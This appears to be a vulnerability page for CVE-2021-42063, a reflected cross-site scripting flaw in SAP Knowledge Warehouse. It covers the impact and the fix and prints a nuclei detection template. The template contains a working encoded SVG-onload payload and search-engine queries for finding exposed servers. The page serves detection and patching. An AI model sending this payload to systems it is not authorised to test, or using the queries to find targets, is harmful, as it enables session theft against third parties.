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CVE-2021-42063· sap / knowledge warehouse· CWE-79

SAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
23.4%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

SAP Knowledge Warehouse 7.30, 7.31, 7.40, and 7.50 contain a reflected cross-site scripting vulnerability via the usage of one SAP KW component within a web browser.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade to a patched version of SAP Knowledge Warehouse (>=7.5.1) to mitigate the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%…
Positive when: contains "<SVG ONLOAD=&#97&#108&#101&#114&#116(&#X64&#X6F&#X63&#X75&#…" and "SAPIKS2" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-42063 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-42063

info:
  name: SAP Knowledge Warehouse <=7.5.0 - Cross-Site Scripting
  author: pdteam
  severity: medium
  description: |
    SAP Knowledge Warehouse 7.30, 7.31, 7.40, and 7.50 contain a reflected cross-site scripting vulnerability via the usage of one SAP KW component within a web browser.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of SAP Knowledge Warehouse (>=7.5.1) to mitigate the XSS vulnerability.
  reference:
    - https://seclists.org/fulldisclosure/2022/Mar/32
    - https://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html
    - https://twitter.com/MrTuxracer/status/1505934549217382409
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42063
    - http://packetstormsecurity.com/files/166369/SAP-Knowledge-Warehouse-7.50-7.40-7.31-7.30-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-42063
    cwe-id: CWE-79
    epss-score: 0.23396
    epss-percentile: 0.97804
    cpe: cpe:2.3:a:sap:knowledge_warehouse:7.30:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: sap
    product: knowledge_warehouse
    shodan-query: http.favicon.hash:-266008933
    fofa-query: icon_hash=-266008933
    zoomeye-query: app="SAP NetWeaver Application Server httpd
  tags: cve2021,cve,sap,xss,seclists,packetstorm,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/SAPIrExtHelp/random/SAPIrExtHelp/random/%22%3e%3c%53%56%47%20%4f%4e%4c%4f%41%44%3d%26%23%39%37%26%23%31%30%38%26%23%31%30%31%26%23%31%31%34%26%23%31%31%36%28%26%23%78%36%34%26%23%78%36%66%26%23%78%36%33%26%23%78%37%35%26%23%78%36%64%26%23%78%36%35%26%23%78%36%65%26%23%78%37%34%26%23%78%32%65%26%23%78%36%34%26%23%78%36%66%26%23%78%36%64%26%23%78%36%31%26%23%78%36%39%26%23%78%36%65%29%3e.asp"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<SVG ONLOAD=&#97&#108&#101&#114&#116(&#X64&#X6F&#X63&#X75&#X6D&#X65&#X6E&#X74&#X2E&#X64&#X6F&#X6D&#X61&#X69&#X6E)>"
          - "SAPIKS2"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

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